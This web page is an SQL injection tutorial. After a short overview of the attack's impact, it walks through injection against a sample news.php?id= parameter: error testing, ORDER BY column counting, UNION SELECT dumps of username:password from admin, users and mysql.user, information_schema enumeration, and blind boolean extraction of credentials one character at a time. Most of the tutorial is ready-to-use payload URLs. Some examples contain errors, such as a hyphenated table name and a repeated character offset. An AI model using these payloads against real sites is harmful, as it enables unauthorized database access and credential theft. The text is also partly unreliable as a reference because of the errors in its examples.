NeosLab.com
Exploitation

SQL Injection Tutorial for Beginners

SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements (also commonly referred to as a malicious payload) that control a web application’s database server (also commonly referred to as a Relational Database Management System – RDBMS). Since an SQL Injection vulnerability could possibly affect any website or web application that makes use of an SQL-based database, the vulnerability is one of the oldest, most prevalent and most dangerous of web application vulnerabilities.

By leveraging an SQL Injection vulnerability, given the right circumstances, an attacker can use it to bypass a web application’s authentication and authorization mechanisms and retrieve the contents of an entire database. SQL Injection can also be used to add, modify and delete records in a database, affecting data integrity.

To such an extent, SQL Injection can provide an attacker with unauthorized access to sensitive data including, customer data, personally identifiable information (PII), trade secrets, intellectual property and other sensitive information.

WHAT’S THE WORST AN ATTACKER CAN DO WITH SQL?

SQL is a programming language designed for managing data stored in an RDBMS, therefore SQL can be used to access, modify and delete data. Furthermore, in specific cases, an RDBMS could also run commands on the operating system from an SQL statement.

Keeping the above in mind, when considering the following, it’s easier to understand how lucrative a successful SQL Injection attack can be for an attacker.

  • An attacker can use SQL Injection to bypass authentication or even impersonate specific users.
  • One of SQL’s primary functions is to select data based on a query and output the result of that query. An SQL Injection vulnerability could allow the complete disclosure of data residing on a database server.
  • Since web applications use SQL to alter data within a database, an attacker could use SQL Injection to alter data stored in a database. Altering data affects data integrity and could cause reputation issues, for instance, issues such as voiding transactions, altering balances and other records.
  • SQL is used to delete records from a database. An attacker could use an SQL Injection vulnerability to delete data from a database. Even if an appropriate backup strategy is employed, deletion of data could affect an application’s availability until the database is restored.
  • Some database servers are configured (intentional or otherwise) to allow arbitrary execution of operating system commands on the database server. Given the right conditions, an attacker could use SQL Injection as the initial vector in an attack of an internal network that sits behind a firewall.
THE ANATOMY OF AN SQL INJECTION ATTACK

An SQL Injection needs just two conditions to exist — a relational database that uses SQL, and a user controllable input which is directly used in an SQL query.

Errors are very useful to developers during development, but if enabled on a live site, they can reveal a lot of information to an attacker. SQL errors tend to be descriptive to the point where it is possible for an attacker to obtain information about the structure of the database, and in some cases, even to enumerate an entire database just through extracting information from error messages – this technique is referred to as error-based SQL Injection. To such an extent, database errors should be disabled on a live site, or logged to a file with restricted access instead.

Another common technique for exfiltrating data is to leverage the UNION SQL operator, allowing an attacker to combine the results of two or more SELECT statements into a single result. This forces the application to return data within the HTTP response – this technique is referred to as union-based SQL Injection.

Source: acunetix.com


BLIND SQL INJECTION (THE HARDER PART)

So let’s start with some action.

Check for vulnerability.

Let’s say that we have some site like this.

http://server/news.php?id=5

Now to test if is vulrnable we add to the end of url’ (quote), and that would be:

http://server/news.php?id=5'

So if we get some error like

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…” or something similar that means is vulrnable to SQL injection.

Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well just incrementing the number until we get an error.

http://server/news.php?id=5 order by 1/* <-- no error
http://server/news.php?id=5 order by 2/* <-- no error
http://server/news.php?id=5 order by 3/* <-- no error
http://server/news.php?id=5 order by 4/* <-- error (We get message like this Unknown column '4' in 'order clause' or something like that)

That means that the it has 3 columns, cause we got an error on 4.

Check for UNION function

With union we can select more data in one SQL statement. So we have:

http://server/news.php?id=5 union all select 1,2,3/* (We already found that number of columns are 3 in section 2). )

If we see some numbers on screen i.e 1 or 2 or 3 then the UNION Works.

Check for MySQL version

http://server/news.php?id=5 union all select 1,2,3/*

NOTE: If /* not working or you get some error, then try “–“ it’s a comment and it’s important for our query to work properly.

Let say that we have number 2 on the screen, now to check for versión we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

http://server/news.php?id=5 union all select 1,@@version,3/*

If you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”, what you will need to do is to use the convert() function as per the below example.

Example:

http://server/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

Or with hex() and unhex()

Example:

http://server/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

And you will get MySQL version

Getting table and column name

Well if the MySQL version is < 5 (example, 4.1.33, 4.1.12…), we must guess table and column name in most cases. Common table names are: user/s, admin/s, member/s. Common table names are: user/s, admin/s, member/s. Common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…

Example:

http://server/news.php?id=5 union all select 1,2,3 from admin/*

(We see number 2 on the screen like before, and that’s good).

We get username displayed on screen, example would be admin, or superadmin etc…

Now to check if column password exists.

http://server/news.php?id=5 union all select 1,password,3 from admin/*

We seen password on the screen in hash or plain-text, it depends of how the database is set up i.e md5 hash, mysql hash, sha1. Now we must complete query to look nice. For that we can use concat() function (it joins strings)

Example:

http://server/news.php?id=5 union all select1,concat(username,0x3a,password),3 from admin/*

NOTE: We used 0x3a, it’s a hexadecimal value (0x3a is the hexadecimal value for the column). Another method is to use char (58) in ascii mode.

http://server/news.php?id=5 union all select 1,concat(username,char(58), password),3 from admin/*

Now we get dislayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser. If can’t guess the right table name, you can always try “mysql.user”, as per the following example:

http://server/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

MySQL 5

For this we need “information_schema” table. It contains all tables and columns architecture of the database. To get the tables we use “table_name” and “information_schema.tables”.

Example:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Here we replace the number 2 with “table_name” to get the first table from “information_schema”.tables displayed on the screen. Furthermore we will need to add LIMIT to the end of query to liste out al tables.

Example:

http://server/news.php?id=5 union all select 1,table_name,3 from infor-mation_schema.tables limit 0,1/*

NOTE: That we put 0,1 (To get 1 result starting from the 0th) now to view the second table, we change “limit 0,1” to “limit 1,1”.

Example:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

The second table is displayed. If you want to do the same for the third table let’s move on using: “limit 2,1”

Example:

http://server/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…

To get the column names the method is similar. Here we use “column_name” and “infor-mation_schema.columns” as per the following example:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

The first column is getting displayed so in order to move further and retrieve the second we will need once again change “limit 0,1” to “limit 1,1”.

Example:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing until you get something like username, user, login, password, pass, passwd etc… If you want to display the column names for specific table use the following query:

Example:

http://server/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

Now we get displayed column name in table users. Note, this won’t work if the magic quotes is ON. Let’s say that we found columns user, pass and email, now to complete the query, we put them all together and for that we will use concat().

Example:

http://server/news.php?id=5 union all select 1, concat(user,0x3a,pass,0x3a,email) from users/*

From the above example we shall get the user:pass:email from table users.

BLIND SQL INJECTION

Blind injection is a little more complicated than the classic injection but it can be with the following methodology. We need first to check if the website is vulnerable or not.

A normal query should be as per the following example

http://server/news.php?id=5 and 1=1 <-- this is always true

Now in order to check if the website is subject to blind SQL injection just switch “1” by “2”

http://server/news.php?id=5 and 1=2 <-- this is false

If your page is returned with some missing content such as text or images that simply mean the page is vulnerable to blind SQL injection.

Get the MySQL version

To get the version of MySQL in a blind attack we use substring.

To get the version of MySQL in a blind attack we use substring.

http://server/news.php?id=5 and substring(@@version,1,1)=4

The above query should return TRUE if the version of MySQL is “4”. Replace “4” by “5”, and if query return TRUE we can understand that the current MySQL version is “5”.

Example:

http://server/news.php?id=5 and substring(@@version,1,1)=5
TEST IF SUBSELECT WORKS

In some case the “select” function don’t work. In such case we can use “subselect” as an alternative.

Example:

http://server/news.php?id=5 and (select 1)=1

If the page is loading properly then the “subselects” function is working. The next step shall to see if we can get an access to “mysql.user”.

Example:

http://server/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

If the page is loading properly then it’s mean we do have access to “mysql.user”. According to this last query we can if we want using this access to extract for example some password usign load_file() function and OUTFILE.

CHECK TABLE AND COLUMN NAMES

This is part is where guessing and googling will be your best friend.

Example:

http://server/news.php?id=5 and (select 1 from users limit 0,1)=1

In the above example, using “limit 0,1” our query will return “1 row of data”. Then if the page loads normally without content missing, that simply mean the “users” table has been found. If you get FALSE, such as some missing content in the page just change table name until you guess the correct one.

Now let’s say that we have found that table name is “users”, the next step will be to find out the column name using the same exact methodology then before. We will start with a common name such as “password”.

Example:

http://server/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

If the page is loading properly we now know that the column name is “password”. If we get FALSE, then try another common names. In the above example, we merge “1” with the column “password”, then the substring() function returns the first character.

EXTRACT DATA FROM DATABASE

Let say that we definitely found the table “users” and the columns “username” and “password”. It’s now the time to use it to extract some relevant informations.

http://server/news.php?id=5 and ascii(substring((SELECT concat (username,0x3a,password) from users limit 0,1),1,1))>80

With the above query the substring() function will return the first character from the first user in “users” table. The ascii() converts that first character into ascii value and then compare it with the symbol greater then “>” .

Well at this step you already understand that, if the ascii character is greater then 80, the page will load properly. We will need to continue until we get false.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

Once again we get TRUE we will keep incrementing.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

We get TRUE again, let’s continue.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

We got FALSE !!! We are done. We now found that the first character in username is char(99). Using the ascii converter we can easliy understand that char(99) is the letter ‘c’.

We will proceed now to the second character.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

NOTE: In order to proceed the second character we have changed “,1,1” to “,2,1”.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Same as before, if we get TRUE then we must continue to keep incrementing.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

We get FALSE, let try a lower number.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

We get TRUE, then let try an higher one.

http://server/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Finally we get FALSE !!! We are done for the second character. We now found that the second chracter is char(105) and again using the ascii converter we can easily understand that char(105) is the letter “i”.

That harder part of this methology is the time you will need to retrieve the complete username or whatever the string you want to find.

Source: exploit-db.com

Related posts

How to Exploit Shellshock Vulnerability CVE 2014-6271

neoslab

How to Create a Reverse Shell

neoslab

Bypass Antivirus Detection with Encrypted Payloads using Venom

neoslab

Leave a Comment

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link